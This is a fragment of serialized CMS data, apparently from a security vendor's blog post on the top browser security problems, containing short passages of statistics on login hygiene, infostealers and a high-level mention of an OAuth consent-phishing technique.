odeType":866},{},[27580],{"data":27581,"marks":27582,"value":3857,"nodeType":865},{},[],{"data":27584,"content":27585,"nodeType":972},{},[],{"data":27587,"content":27588,"nodeType":981},{},[27589],{"data":27590,"marks":27591,"value":3868,"nodeType":865},{},[27592],{"type":926},{"data":27594,"content":27595,"nodeType":866},{},[27596],{"data":27597,"marks":27598,"value":3876,"nodeType":865},{},[27599],{"type":926},{"data":27601,"content":27602,"nodeType":866},{},[27603,27606,27610,27613,27619,27622,27626,27629,27633],{"data":27604,"marks":27605,"value":3883,"nodeType":865},{},[],{"data":27607,"marks":27608,"value":3888,"nodeType":865},{},[27609],{"type":926},{"data":27611,"marks":27612,"value":3892,"nodeType":865},{},[],{"data":27614,"content":27615,"nodeType":889},{"uri":1929},[27616],{"data":27617,"marks":27618,"value":3899,"nodeType":865},{},[],{"data":27620,"marks":27621,"value":3903,"nodeType":865},{},[],{"data":27623,"marks":27624,"value":3908,"nodeType":865},{},[27625],{"type":926},{"data":27627,"marks":27628,"value":3912,"nodeType":865},{},[],{"data":27630,"marks":27631,"value":3917,"nodeType":865},{},[27632],{"type":926},{"data":27634,"marks":27635,"value":3921,"nodeType":865},{},[],{"data":27637,"content":27638,"nodeType":866},{},[27639],{"data":27640,"marks":27641,"value":3928,"nodeType":865},{},[],{"data":27643,"content":27646,"nodeType":912},{"target":27644},{"sys":27645},{"id":3933,"type":909,"linkType":910},[],{"data":27648,"content":27649,"nodeType":972},{},[],{"data":27651,"content":27652,"nodeType":981},{},[27653],{"data":27654,"marks":27655,"value":3945,"nodeType":865},{},[27656],{"type":926},{"data":27658,"content":27659,"nodeType":866},{},[27660],{"data":27661,"marks":27662,"value":3953,"nodeType":865},{},[27663],{"type":926},{"data":27665,"content":27666,"nodeType":866},{},[27667,27670,27677,27680,27687],{"data":27668,"marks":27669,"value":3960,"nodeType":865},{},[],{"data":27671,"content":27672,"nodeType":889},{"uri":3963},[27673],{"data":27674,"marks":27675,"value":3969,"nodeType":865},{},[27676],{"type":926},{"data":27678,"marks":27679,"value":3973,"nodeType":865},{},[],{"data":27681,"content":27682,"nodeType":889},{"uri":3976},[27683],{"data":27684,"marks":27685,"value":3982,"nodeType":865},{},[27686],{"type":926},{"data":27688,"marks":27689,"value":3986,"nodeType":865},{},[],{"data":27691,"content":27692,"nodeType":866},{},[27693],{"data":27694,"marks":27695,"value":3993,"nodeType":865},{},[],{"data":27697,"content":27700,"nodeType":912},{"target":27698},{"sys":27699},{"id":3998,"type":909,"linkType":910},[],{"data":27702,"content":27703,"nodeType":866},{},[27704],{"data":27705,"marks":27706,"value":4006,"nodeType":865},{},[],{"data":27708,"content":27709,"nodeType":972},{},[],{"data":27711,"content":27712,"nodeType":981},{},[27713],{"data":27714,"marks":27715,"value":4017,"nodeType":865},{},[27716],{"type":926},{"data":27718,"content":27719,"nodeType":866},{},[27720],{"data":27721,"marks":27722,"value":4025,"nodeType":865},{},[27723],{"type":926},{"data":27725,"content":27726,"nodeType":866},{},[27727,27730,27734,27737,27744],{"data":27728,"marks":27729,"value":4032,"nodeType":865},{},[],{"data":27731,"marks":27732,"value":4037,"nodeType":865},{},[27733],{"type":898},{"data":27735,"marks":27736,"value":4041,"nodeType":865},{},[],{"data":27738,"content":27739,"nodeType":889},{"uri":4044},[27740],{"data":27741,"marks":27742,"value":4050,"nodeType":865},{},[27743],{"type":926},{"data":27745,"marks":27746,"value":4054,"nodeType":865},{},[],{"data":27748,"content":27749,"nodeType":866},{},[27750],{"data":27751,"marks":27752,"value":4061,"nodeType":865},{},[],{"data":27754,"content":27755,"nodeType":866},{},[27756],{"data":27757,"marks":27758,"value":4068,"nodeType":865},{},[],{"data":27760,"content":27761,"nodeType":866},{},[27762],{"data":27763,"marks":27764,"value":4075,"nodeType":865},{},[],{"data":27766,"content":27767,"nodeType":972},{},[],{"data":27769,"content":27770,"nodeType":981},{},[27771],{"data":27772,"marks":27773,"value":4086,"nodeType":865},{},[27774],{"type":926},{"data":27776,"content":27777,"nodeType":866},{},[27778],{"data":27779,"marks":27780,"value":4094,"nodeType":865},{},[27781],{"type":926},{"data":27783,"content":27784,"nodeType":866},{},[27785],{"data":27786,"marks":27787,"value":4101,"nodeType":865},{},[],{"data":27789,"content":27792,"nodeType":912},{"target":27790},{"sys":27791},{"id":4106,"type":909,"linkType":910},[],{"data":27794,"content":27795,"nodeType":866},{},[27796],{"data":27797,"marks":27798,"value":4114,"nodeType":865},{},[],{"data":27800,"content":27801,"nodeType":1616},{},[27802,27811],{"data":27803,"content":27804,"nodeType":1570},{},[27805],{"data":27806,"content":27807,"nodeType":866},{},[27808],{"data":27809,"marks":27810,"value":4127,"nodeType":865},{},[],{"data":27812,"content":27813,"nodeType":1570},{},[27814],{"data":27815,"content":27816,"nodeType":866},{},[27817],{"data":27818,"marks":27819,"value":4137,"nodeType":865},{},[],{"data":27821,"content":27822,"nodeType":866},{},[27823,27826,27833,27836,27840],{"data":27824,"marks":27825,"value":4144,"nodeType":865},{},[],{"data":27827,"content":27828,"nodeType":889},{"uri":4147},[27829],{"data":27830,"marks":27831,"value":4153,"nodeType":865},{},[27832],{"type":926},{"data":27834,"marks":27835,"value":4157,"nodeType":865},{},[],{"data":27837,"marks":27838,"value":4162,"nodeType":865},{},[27839],{"type":898},{"data":27841,"marks":27842,"value":4166,"nodeType":865},{},[],{"data":27844,"content":27845,"nodeType":972},{},[],{"data":27847,"content":27848,"nodeType":981},{},[27849],{"data":27850,"marks":27851,"value":4177,"nodeType":865},{},[27852],{"type":926},{"data":27854,"content":27855,"nodeType":866},{},[27856],{"data":27857,"marks":27858,"value":4185,"nodeType":865},{},[27859],{"type":926},{"data":27861,"content":27862,"nodeType":866},{},[27863],{"data":27864,"marks":27865,"value":4192,"nodeType":865},{},[],{"data":27867,"content":27868,"nodeType":866},{},[27869],{"data":27870,"marks":27871,"value":4199,"nodeType":865},{},[],{"data":27873,"content":27874,"nodeType":972},{},[],{"data":27876,"content":27877,"nodeType":981},{},[27878],{"data":27879,"marks":27880,"value":4210,"nodeType":865},{},[27881],{"type":926},{"data":27883,"content":27884,"nodeType":1616},{},[27885,27898,27911,27924],{"data":27886,"content":27887,"nodeType":1570},{},[27888],{"data":27889,"content":27890,"nodeType":866},{},[27891,27895],{"data":27892,"marks":27893,"value":4224,"nodeType":865},{},[27894],{"type":926},{"data":27896,"marks":27897,"value":4228,"nodeType":865},{},[],{"data":27899,"content":27900,"nodeType":1570},{},[27901],{"data":27902,"content":27903,"nodeType":866},{},[27904,27908],{"data":27905,"marks":27906,"value":4239,"nodeType":865},{},[27907],{"type":926},{"data":27909,"marks":27910,"value":4243,"nodeType":865},{},[],{"data":27912,"content":27913,"nodeType":1570},{},[27914],{"data":27915,"content":27916,"nodeType":866},{},[27917,27921],{"data":27918,"marks":27919,"value":4254,"nodeType":865},{},[27920],{"type":926},{"data":27922,"marks":27923,"value":4258,"nodeType":865},{},[],{"data":27925,"content":27926,"nodeType":1570},{},[27927],{"data":27928,"content":27929,"nodeType":866},{},[27930,27934],{"data":27931,"marks":27932,"value":781,"nodeType":865},{},[27933],{"type":926},{"data":27935,"marks":27936,"value":4272,"nodeType":865},{},[],{"data":27938,"content":27939,"nodeType":972},{},[],{"data":27941,"content":27942,"nodeType":981},{},[27943],{"data":27944,"marks":27945,"value":4283,"nodeType":865},{},[27946],{"type":926},{"data":27948,"content":27949,"nodeType":866},{},[27950],{"data":27951,"marks":27952,"value":4290,"nodeType":865},{},[],{"data":27954,"content":27955,"nodeType":2927},{},[27956,27979,28001,28023,28045,28067,28089,28111,28133,28155,28177,28199],{"data":27957,"content":27958,"nodeType":2400},{},[27959,27969],{"data":27960,"content":27961,"nodeType":2366},{},[27962],{"data":27963,"content":27964,"nodeType":866},{},[27965],{"data":27966,"marks":27967,"value":4307,"nodeType":865},{},[27968],{"type":926},{"data":27970,"content":27971,"nodeType":2366},{},[27972],{"data":27973,"content":27974,"nodeType":866},{},[27975],{"data":27976,"marks":27977,"value":4318,"nodeType":865},{},[27978],{"type":926},{"data":27980,"content":27981,"nodeType":2400},{},[27982,27992],{"data":27983,"content":27984,"nodeType":2366},{},[27985],{"data":27986,"content":27987,"nodeType":866},{},[27988],{"data":27989,"marks":27990,"value":4332,"nodeType":865},{},[27991],{"type":926},{"data":27993,"content":27994,"nodeType":2366},{},[27995],{"data":27996,"content":27997,"nodeType":866},{},[27998],{"data":27999,"marks":28000,"value":4342,"nodeType":865},{},[],{"data":28002,"content":28003,"nodeType":2400},{},[28004,28014],{"data":28005,"content":28006,"nodeType":2366},{},[28007],{"data":28008,"content":28009,"nodeType":866},{},[28010],{"data":28011,"marks":28012,"value":4356,"nodeType":865},{},[28013],{"type":926},{"data":28015,"content":28016,"nodeType":2366},{},[28017],{"data":28018,"content":28019,"nodeType":866},{},[28020],{"data":28021,"marks":28022,"value":4366,"nodeType":865},{},[],{"data":28024,"content":28025,"nodeType":2400},{},[28026,28036],{"data":28027,"content":28028,"nodeType":2366},{},[28029],{"data":28030,"content":28031,"nodeType":866},{},[28032],{"data":28033,"marks":28034,"value":4380,"nodeType":865},{},[28035],{"type":926},{"data":28037,"content":28038,"nodeType":2366},{},[28039],{"data":28040,"content":28041,"nodeType":866},{},[28042],{"data":28043,"marks":28044,"value":4390,"nodeType":865},{},[],{"data":28046,"content":28047,"nodeType":2400},{},[28048,28058],{"data":28049,"content":28050,"nodeType":2366},{},[28051],{"data":28052,"content":28053,"nodeType":866},{},[28054],{"data":28055,"marks":28056,"value":4404,"nodeType":865},{},[28057],{"type":926},{"data":28059,"content":28060,"nodeType":2366},{},[28061],{"data":28062,"content":28063,"nodeType":866},{},[28064],{"data":28065,"marks":28066,"value":4414,"nodeType":865},{},[],{"data":28068,"content":28069,"nodeType":2400},{},[28070,28080],{"data":28071,"content":28072,"nodeType":2366},{},[28073],{"data":28074,"content":28075,"nodeType":866},{},[28076],{"data":28077,"marks":28078,"value":4428,"nodeType":865},{},[28079],{"type":926},{"data":28081,"content":28082,"nodeType":2366},{},[28083],{"data":28084,"content":28085,"nodeType":866},{},[28086],{"data":28087,"marks":28088,"value":4438,"nodeType":865},{},[],{"data":28090,"content":28091,"nodeType":2400},{},[28092,28102],{"data":28093,"content":28094,"nodeType":2366},{},[28095],{"data":28096,"content":28097,"nodeType":866},{},[28098],{"data":28099,"marks":28100,"value":4452,"nodeType":865},{},[28101],{"type":926},{"data":28103,"content":28104,"nodeType":2366},{},[28105],{"data":28106,"content":28107,"nodeType":866},{},[28108],{"data":28109,"marks":28110,"value":4462,"nodeType":865},{},[],{"data":28112,"content":28113,"nodeType":2400},{},[28114,28124],{"data":28115,"content":28116,"nodeType":2366},{},[28117],{"data":28118,"content":28119,"nodeType":866},{},[28120],{"data":28121,"marks":28122,"value":4476,"nodeType":865},{},[28123],{"type":926},{"data":28125,"content":28126,"nodeType":2366},{},[28127],{"data":28128,"content":28129,"nodeType":866},{},[28130],{"data":28131,"marks":28132,"value":4486,"nodeType":865},{},[],{"data":28134,"content":28135,"nodeType":2400},{},[28136,28146],{"data":28137,"content":28138,"nodeType":2366},{},[28139],{"data":28140,"content":28141,"nodeType":866},{},[28142],{"data":28143,"marks":28144,"value":4500,"nodeType":865},{},[28145],{"type":926},{"data":28147,"content":28148,"nodeType":2366},{},[28149],{"data":28150,"content":28151,"nodeType":866},{},[28152],{"data":28153,"marks":28154,"value":4510,"nodeType":865},{},[],{"data":28156,"content":28157,"nodeType":2400},{},[28158,28168],{"data":28159,"content":28160,"nodeType":2366},{},[28161],{"data":28162,"content":28163,"nodeType":866},{},[28164],{"data":28165,"marks":28166,"value":4524,"nodeType":865},{},[28167],{"type":926},{"data":28169,"content":28170,"nodeType":2366},{},[28171],{"data":28172,"content":28173,"nodeType":866},{},[28174],{"data":28175,"marks":28176,"value":4534,"nodeType":865},{},[],{"data":28178,"content":28179,"nodeType":2400},{},[28180,28190],{"data":28181,"content":28182,"nodeType":2366},{},[28183],{"data":28184,"content":28185,"nodeType":866},{},[28186],{"data":28187,"marks":28188,"value":4548,"nodeType":865},{},[28189],{"type":926},{"data":28191,"content":28192,"nodeType":2366},{},[28193],{"data":28194,"content":28195,"nodeType":866},{},[28196],{"data":28197,"marks":28198,"value":4558,"nodeType":865},{},[],{"data":28200,"content":28201,"nodeType":2400},{},[28202,28212],{"data":28203,"content":28204,"nodeType":2366},{},[28205],{"data":28206,"content":28207,"nodeType":866},{},[28208],{"data":28209,"marks":28210,"value":4239,"nodeType":865},{},[28211],{"type":926},{"data":28213,"content":28214,"nodeType":2366},{},[28215],{"data":28216,"content":28217,"nodeType":866},{},[28218],{"data":28219,"marks":28220,"value":4581,"nodeType":865},{},[],{"data":28222,"content":28223,"nodeType":972},{},[],{"data":28225,"content":28226,"nodeType":866},{},[28227,28230,28236],{"data":28228,"marks":28229,"value":4591,"nodeType":865},{},[],{"data":28231,"content":28232,"nodeType":889},{"uri":1372},[28233],{"data":28234,"marks":28235,"value":1378,"nodeType":865},{},[],{"data":28237,"marks":28238,"value":21,"nodeType":865},{},[],{"entries":28240},{"hyperlink":28241,"inline":28242,"block":28243},[],[],[28244,28286,28294,28328,28364,28388,28402],{"sys":28245,"__typename":5503,"content":28246,"name":28285,"title":59},{"id":3390},{"json":28247},{"nodeType":1382,"data":28248,"content":28249},{},[28250],{"nodeType":866,"data":28251,"content":28252},{},[28253,28256,28263,28267,28272,28276,28281],{"nodeType":865,"value":3456,"marks":28254,"data":28255},[],{},{"nodeType":889,"data":28257,"content":28258},{"uri":3963},[28259],{"nodeType":865,"value":28260,"marks":28261,"data":28262},"Omdia's 2026 research",[],{},{"nodeType":865,"value":28264,"marks":28265,"data":28266},", browser security is already a top-five priority for ",[],{},{"nodeType":865,"value":28268,"marks":28269,"data":28271},"88% of organizations",[28270],{"type":926},{},{"nodeType":865,"value":28273,"marks":28274,"data":28275},", and the top priority for ",[],{},{"nodeType":865,"value":28277,"marks":28278,"data":28280},"26%",[28279],{"type":926},{},{"nodeType":865,"value":28282,"marks":28283,"data":28284},". Of those that have deployed browser security solutions, the results speak for themselves: security leaders consistently report high satisfaction with the visibility and control they gain at a layer that was previously a blind spot.",[],{},"Top 10 Browser Problems IB1",{"sys":28287,"__typename":1390,"title":28288,"caption":28289,"layoutMode":59,"file":28290},{"id":3410},"top 10 browser security infographic","The top 10 security problems you can solve in the browser, ranked by security value and browser fit.",{"url":28291,"width":28292,"height":28293},"https://images.ctfassets.net/y1cdw1ablpvd/1ARDI5m8UJTN9QXXfbyyeO/ad04834463f3537a724ecfcaa0054fb0/top10_browser_security_infographic_4x__14_.png",2080,2484,{"sys":28295,"__typename":5503,"content":28296,"name":28327,"title":59},{"id":3502},{"json":28297},{"nodeType":1382,"data":28298,"content":28299},{},[28300],{"nodeType":866,"data":28301,"content":28302},{},[28303,28307,28314,28318,28323],{"nodeType":865,"value":28304,"marks":28305,"data":28306},"Every login, regardless of method or app, happens inside a browser session. That makes the browser the only layer capable of observing the complete authentication picture. ",[],{},{"nodeType":889,"data":28308,"content":28309},{"uri":6698},[28310],{"nodeType":865,"value":28311,"marks":28312,"data":28313},"Push's telemetry illustrates the gap",[],{},{"nodeType":865,"value":28315,"marks":28316,"data":28317},": of the last million logins observed, ",[],{},{"nodeType":865,"value":28319,"marks":28320,"data":28322},"1 in 4 were password logins rather than SSO, 2 in 5 lacked MFA, and 1 in 5 used a weak, breached, or reused credential",[28321],{"type":926},{},{"nodeType":865,"value":28324,"marks":28325,"data":28326}," — none of which is visible to an IdP that only surfaces authentications flowing through it. ",[],{},"Top 10 Browser Problems IB2",{"sys":28329,"__typename":5503,"content":28330,"name":28363,"title":59},{"id":3643},{"json":28331},{"data":28332,"content":28333,"nodeType":1382},{},[28334],{"data":28335,"content":28336,"nodeType":866},{},[28337,28341,28346,28350,28359],{"data":28338,"marks":28339,"value":28340,"nodeType":865},{},[],"The average employee logs into more than 15 applications, the majority with logins outside SSO coverage. IdP policies and SSPM findings have no mechanism to intervene in authentication flows they don't control. ",{"data":28342,"marks":28343,"value":28345,"nodeType":865},{},[28344],{"type":926},"47% of BEC victims had not enforced MFA in their Microsoft 365 environment",{"data":28347,"marks":28348,"value":28349,"nodeType":865},{},[]," (",{"data":28351,"content":28353,"nodeType":889},{"uri":28352},"https://www.s-rminform.com/cyber-insights-report-2026",[28354],{"data":28355,"marks":28356,"value":28358,"nodeType":865},{},[28357],{"type":943},"S-RM Cyber Insights 2026",{"data":28360,"marks":28361,"value":28362,"nodeType":865},{},[],") — and the gap is larger still once you consider shadow SaaS.","Top 10 Browser Problems IB3",{"sys":28365,"__typename":5503,"content":28366,"name":28387,"title":59},{"id":3933},{"json":28367},{"data":28368,"content":28369,"nodeType":1382},{},[28370],{"data":28371,"content":28372,"nodeType":866},{},[28373,28376,28383],{"data":28374,"marks":28375,"value":21,"nodeType":865},{},[],{"data":28377,"content":28378,"nodeType":889},{"uri":5739},[28379],{"data":28380,"marks":28381,"value":7465,"nodeType":865},{},[28382],{"type":943},{"data":28384,"marks":28385,"value":28386,"nodeType":865},{},[],", a novel technique discovered by Push researchers when we intercepted a live campaign attributed to Russian state-linked APT29, is a notable exception: it is fully browser-native with no endpoint component, using a manipulated OAuth consent flow rather than clipboard-injected malware. ConsentFix is better understood as an OAuth attack than a malware delivery technique — it signals the direction of travel as attackers seek to eliminate the endpoint detection surface entirely and operate purely within browser-native mechanisms like OAuth. ","Top 10 Browser Problems IB4",{"sys":28389,"__typename":5503,"content":28390,"name":28401,"title":59},{"id":3998},{"json":28391},{"data":28392,"content":28393,"nodeType":1382},{},[28394],{"data":28395,"content":28396,"nodeType":866},{},[28397],{"data":28398,"marks":28399,"value":28400,"nodeType":865},{},[],"Enterprise AI platforms — Claude, ChatGPT Enterprise, Microsoft Copilot, Gemini for Workspace — increasingly provide native prompt logging and DLP controls on their enterprise plans, and these are richer and more reliable for sanctioned tools than browser session-layer monitoring. The right architecture is complementary: use the browser to enforce which AI tools employees can access and ensure they reach the corporate tenant rather than a personal account, then rely on platform-native controls to govern activity within that environment.","Top 10 Browser Problems IB5",{"sys":28403,"__typename":5503,"content":28404,"name":28444,"title":59},{"id":4106},{"json":28405},{"data":28406,"content":28407,"nodeType":1382},{},[28408],{"data":28409,"content":28410,"nodeType":866},{},[28411,28415,28420,28424,28429,28433,28440],{"data":28412,"marks":28413,"value":28414,"nodeType":865},{},[],"The 2025 Verizon DBIR found ",{"data":28416,"marks":28417,"value":28419,"nodeType":865},{},[28418],{"type":926},"54% of ransomware attacks traced back to infostealer-enabled credential theft",{"data":28421,"marks":28422,"value":28423,"nodeType":865},{},[],". Microsoft reports ",{"data":28425,"marks":28426,"value":28428,"nodeType":865},{},[28427],{"type":926},"39,000 session token attacks per day",{"data":28430,"marks":28431,"value":28432,"nodeType":865},{},[],", the majority sourced from infostealer-harvested cookies. The",{"data":28434,"content":28435,"nodeType":889},{"uri":3488},[28436],{"data":28437,"marks":28438,"value":28439,"nodeType":865},{},[]," Snowflake breach",{"data":28441,"marks":28442,"value":28443,"nodeType":865},{},[]," we mentioned earlier was powered entirely by infostealer-harvested credentials: stolen years earlier, never rotated, and used to authenticate directly to tenants that lacked MFA. More than 80% of compromised accounts had prior credential exposure. The Okta breach followed the same pattern, beginning with an infostealer on an engineer's personal device harvesting credentials synced to their personal Google profile on a corporate browser. ","Top 10 Browser Problems IB6",{"items":28446},[],{},"The top 10 security problems you can solve in the browser",{"items":28450},[28451,28959,29631],{"__typename":1429,"sys":28452,"content":28453,"title":17654,"synopsis":17655,"hashTags":59,"publishedDate":17656,"slug":17657,"tagsCollection":28949,"authorsCollection":28955},{"id":17079},{"json":28454},{"data":28455,"content":28456,"nodeType":1382},{},[28457,28472,28478,28484,28489,28492,28499,28512,28518,28523,28529,28604,28610,28615,28621,28626,28629,28636,28646,28652,28662,28665,28672,28685,28691,28697,28700,28707,28713,28726,28731,28744,28750,28756,28762,28775,28781,28784,28791,28797,28810,28816,28819,28826,28839,28845,28861,28871,28874,28881,28894,28900,28906,28912,28918,28921,28927,28933],{"data":28458,"content":28459,"nodeType":866},{},[28460,28463,28469],{"data":28461,"marks":28462,"value":1449,"nodeType":865},{},[],{"data":28464,"content":28465,"nodeType":889},{"uri":17092},[28466],{"data":28467,"marks":28468,"value":17097,"nodeType":865},{},[],{"data":28470,"marks":28471,"value":17101,"nodeType":865},{},[],{"data":28473,"content":28474,"nodeType":866},{},[28475],{"data":28476,"marks":28477,"value":17108,"nodeType":865},{},[],{"data":28479,"content":28480,"nodeType":866},{},[28481],{"data":28482,"marks":28483,"value":17115,"nodeType":865},{},[],{"data":28485,"content":28488,"nodeType":912},{"target":28486},{"sys":28487},{"id":17120,"type":909,"linkType":910},[],{"data":28490,"content":28491,"nodeType":972},{},[],{"data":28493,"content":28494,"nodeType":981},{},[28495],{"data":28496,"marks":28497,"value":17132,"nodeType":865},{},[28498],{"type":926},{"data":28500,"content":28501,"nodeType":866},{},[28502,28505,28509],{"data":28503,"marks":28504,"value":17139,"nodeType":865},{},[],{"data":28506,"marks":28507,"value":17144,"nodeType":865},{},[28508],{"type":926},{"data":28510,"marks":28511,"value":17148,"nodeType":865},{},[],{"data":28513,"content":28514,"nodeType":866},{},[28515],{"data":28516,"marks":28517,"value":17155,"nodeType":865},{},[],{"data":28519,"content":28522,"nodeType":912},{"target":28520},{"sys":28521},{"id":17160,"type":909,"linkType":910},[],{"data":28524,"content":28525,"nodeType":866},{},[28526],{"data":28527,"marks":28528,"value":17168,"nodeType":865},{},[],{"data":28530,"content":28531,"nodeType":1616},{},[28532,28541,28550,28559,28568,28577,28586,28595],{"data":28533,"content":28534,"nodeType":1570},{},[28535],{"data":28536,"content":28537,"nodeType":866},{},[28538],{"data":28539,"marks":28540,"value":17181,"nodeType":865},{},[],{"data":28542,"content":28543,"nodeType":1570},{},[28544],{"data":28545,"content":28546,"nodeType":866},{},[28547],{"data":28548,"marks":28549,"value":17191,"nodeType":865},{},[],{"data":28551,"content":28552,"nodeType":1570},{},[28553],{"data":28554,"content":28555,"nodeType":866},{},[28556],{"data":28557,"marks":28558,"value":17201,"nodeType":865},{},[],{"data":28560,"content":28561,"nodeType":1570},{},[28562],{"data":28563,"content":28564,"nodeType":866},{},[28565],{"data":28566,"marks":28567,"value":17211,"nodeType":865},{},[],{"data":28569,"content":28570,"nodeType":1570},{},[28571],{"data":28572,"content":28573,"nodeType":866},{},[28574],{"data":28575,"marks":28576,"value":17221,"nodeType":865},{},[],{"data":28578,"content":28579,"nodeType":1570},{},[28580],{"data":28581,"content":28582,"nodeType":866},{},[28583],{"data":28584,"marks":28585,"value":17231,"nodeType":865},{},[],{"data":28587,"content":28588,"nodeType":1570},{},[28589],{"data":28590,"content":28591,"nodeType":866},{},[28592],{"data":28593,"marks":28594,"value":17241,"nodeType":865},{},[],{"data":28596,"content":28597,"nodeType":1570},{},[28598],{"data":28599,"content":28600,"nodeType":866},{},[28601],{"data":28602,"marks":28603,"value":17251,"nodeType":865},{},[],{"data":28605,"content":28606,"nodeType":866},{},[28607],{"data":28608,"marks":28609,"value":17258,"nodeType":865},{},[],{"data":28611,"content":28614,"nodeType":912},{"target":28612},{"sys":28613},{"id":12658,"type":909,"linkType":910},[],{"data":28616,"content":28617,"nodeType":866},{},[28618],{"data":28619,"marks":28620,"value":17270,"nodeType":865},{},[],{"data":28622,"content":28625,"nodeType":912},{"target":28623},{"sys":28624},{"id":17275,"type":909,"linkType":910},[],{"data":28627,"content":28628,"nodeType":972},{},[],{"data":28630,"content":28631,"nodeType":981},{},[28632],{"data":28633,"marks":28634,"value":17287,"nodeType":865},{},[28635],{"type":926},{"data":28637,"content":28638,"nodeType":866},{},[28639,28643],{"data":28640,"marks":28641,"value":17295,"nodeType":865},{},[28642],{"type":926},{"data":28644,"marks":28645,"value":17299,"nodeType":865},{},[],{"data":28647,"content":28648,"nodeType":866},{},[28649],{"data":28650,"marks":28651,"value":17306,"nodeType":865},{},[],{"data":28653,"content":28654,"nodeType":866},{},[28655,28659],{"data":28656,"marks":28657,"value":17314,"nodeType":865},{},[28658],{"type":926},{"data":28660,"marks":28661,"value":17318,"nodeType":865},{},[],{"data":28663,"content":28664,"nodeType":972},{},[],{"data":28666,"content":28667,"nodeType":981},{},[28668],{"data":28669,"marks":28670,"value":17329,"nodeType":865},{},[28671],{"type":926},{"data":28673,"content":28674,"nodeType":866},{},[28675,28678,28682],{"data":28676,"marks":28677,"value":17336,"nodeType":865},{},[],{"data":28679,"marks":28680,"value":17341,"nodeType":865},{},[28681],{"type":926},{"data":28683,"marks":28684,"value":17345,"nodeType":865},{},[],{"data":28686,"content":28687,"nodeType":866},{},[28688],{"data":28689,"marks":28690,"value":17352,"nodeType":865},{},[],{"data":28692,"content":28693,"nodeType":866},{},[28694],{"data":28695,"marks":28696,"value":17359,"nodeType":865},{},[],{"data":28698,"content":28699,"nodeType":972},{},[],{"data":28701,"content":28702,"nodeType":981},{},[28703],{"data":28704,"marks":28705,"value":17370,"nodeType":865},{},[28706],{"type":926},{"data":28708,"content":28709,"nodeType":866},{},[28710],{"data":28711,"marks":28712,"value":17377,"nodeType":865},{},[],{"data":28714,"content":28715,"nodeType":866},{},[28716,28719,28723],{"data":28717,"marks":28718,"value":17384,"nodeType":865},{},[],{"data":28720,"marks":28721,"value":17389,"nodeType":865},{},[28722],{"type":926},{"data":28724,"marks":28725,"value":17393,"nodeType":865},{},[],{"data":28727,"content":28730,"nodeType":912},{"target":28728},{"sys":28729},{"id":17398,"type":909,"linkType":910},[],{"data":28732,"content":28733,"nodeType":866},{},[28734,28737,28741],{"data":28735,"marks":28736,"value":17406,"nodeType":865},{},[],{"data":28738,"marks":28739,"value":17411,"nodeType":865},{},[28740],{"type":926},{"data":28742,"marks":28743,"value":17415,"nodeType":865},{},[],{"data":28745,"content":28746,"nodeType":866},{},[28747],{"data":28748,"marks":28749,"value":17422,"nodeType":865},{},[],{"data":28751,"content":28752,"nodeType":866},{},[28753],{"data":28754,"marks":28755,"value":17429,"nodeType":865},{},[],{"data":28757,"content":28758,"nodeType":866},{},[28759],{"data":28760,"marks":28761,"value":17436,"nodeType":865},{},[],{"data":28763,"content":28764,"nodeType":866},{},[28765,28768,28772],{"data":28766,"marks":28767,"value":17443,"nodeType":865},{},[],{"data":28769,"marks":28770,"value":17448,"nodeType":865},{},[28771],{"type":926},{"data":28773,"marks":28774,"value":17452,"nodeType":865},{},[],{"data":28776,"content":28777,"nodeType":866},{},[28778],{"data":28779,"marks":28780,"value":17459,"nodeType":865},{},[],{"data":28782,"content":28783,"nodeType":972},{},[],{"data":28785,"content":28786,"nodeType":981},{},[28787],{"data":28788,"marks":28789,"value":17470,"nodeType":865},{},[28790],{"type":926},{"data":28792,"content":28793,"nodeType":866},{},[28794],{"data":28795,"marks":28796,"value":17477,"nodeType":865},{},[],{"data":28798,"content":28799,"nodeType":866},{},[28800,28803,28807],{"data":28801,"marks":28802,"value":17484,"nodeType":865},{},[],{"data":28804,"marks":28805,"value":17489,"nodeType":865},{},[28806],{"type":926},{"data":28808,"marks":28809,"value":17493,"nodeType":865},{},[],{"data":28811,"content":28812,"nodeType":866},{},[28813],{"data":28814,"marks":28815,"value":17500,"nodeType":865},{},[],{"data":28817,"content":28818,"nodeType":972},{},[],{"data":28820,"content":28821,"nodeType":981},{},[28822],{"data":28823,"marks":28824,"value":17511,"nodeType":865},{},[28825],{"type":926},{"data":28827,"content":28828,"nodeType":866},{},[28829,28832,28836],{"data":28830,"marks":28831,"value":17518,"nodeType":865},{},[],{"data":28833,"marks":28834,"value":17523,"nodeType":865},{},[28835],{"type":926},{"data":28837,"marks":28838,"value":17527,"nodeType":865},{},[],{"data":28840,"content":28841,"nodeType":866},{},[28842],{"data":28843,"marks":28844,"value":17534,"nodeType":865},{},[],{"data":28846,"content":28847,"nodeType":866},{},[28848,28851,28858],{"data":28849,"marks":28850,"value":17541,"nodeType":865},{},[],{"data":28852,"content":28853,"nodeType":889},{"uri":17544},[28854],{"data":28855,"marks":28856,"value":17550,"nodeType":865},{},[28857],{"type":943},{"data":28859,"marks":28860,"value":17554,"nodeType":865},{},[],{"data":28862,"content":28863,"nodeType":866},{},[28864,28867],{"data":28865,"marks":28866,"value":17561,"nodeType":865},{},[],{"data":28868,"marks":28869,"value":17566,"nodeType":865},{},[28870],{"type":926},{"data":28872,"content":28873,"nodeType":972},{},[],{"data":28875,"content":28876,"nodeType":981},{},[28877],{"data":28878,"marks":28879,"value":17577,"nodeType":865},{},[28880],{"type":926},{"data":28882,"content":28883,"nodeType":866},{},[28884,28887,28891],{"data":28885,"marks":28886,"value":17584,"nodeType":865},{},[],{"data":28888,"marks":28889,"value":17589,"nodeType":865},{},[28890],{"type":926},{"data":28892,"marks":28893,"value":17593,"nodeType":865},{},[],{"data":28895,"content":28896,"nodeType":866},{},[28897],{"data":28898,"marks":28899,"value":17600,"nodeType":865},{},[],{"data":28901,"content":28902,"nodeType":866},{},[28903],{"data":28904,"marks":28905,"value":17607,"nodeType":865},{},[],{"data":28907,"content":28908,"nodeType":866},{},[28909],{"data":28910,"marks":28911,"value":17614,"nodeType":865},{},[],{"data":28913,"content":28914,"nodeType":866},{},[28915],{"data":28916,"marks":28917,"value":17621,"nodeType":865},{},[],{"data":28919,"content":28920,"nodeType":972},{},[],{"data":28922,"content":28923,"nodeType":866},{},[28924],{"data":28925,"marks":28926,"value":17631,"nodeType":865},{},[],{"data":28928,"content":28929,"nodeType":866},{},[28930],{"data":28931,"marks":28932,"value":1363,"nodeType":865},{},[],{"data":28934,"content":28935,"nodeType":866},{},[28936,28939,28946],{"data":28937,"marks":28938,"value":21,"nodeType":865},{},[],{"data":28940,"content":28941,"nodeType":889},{"uri":1372},[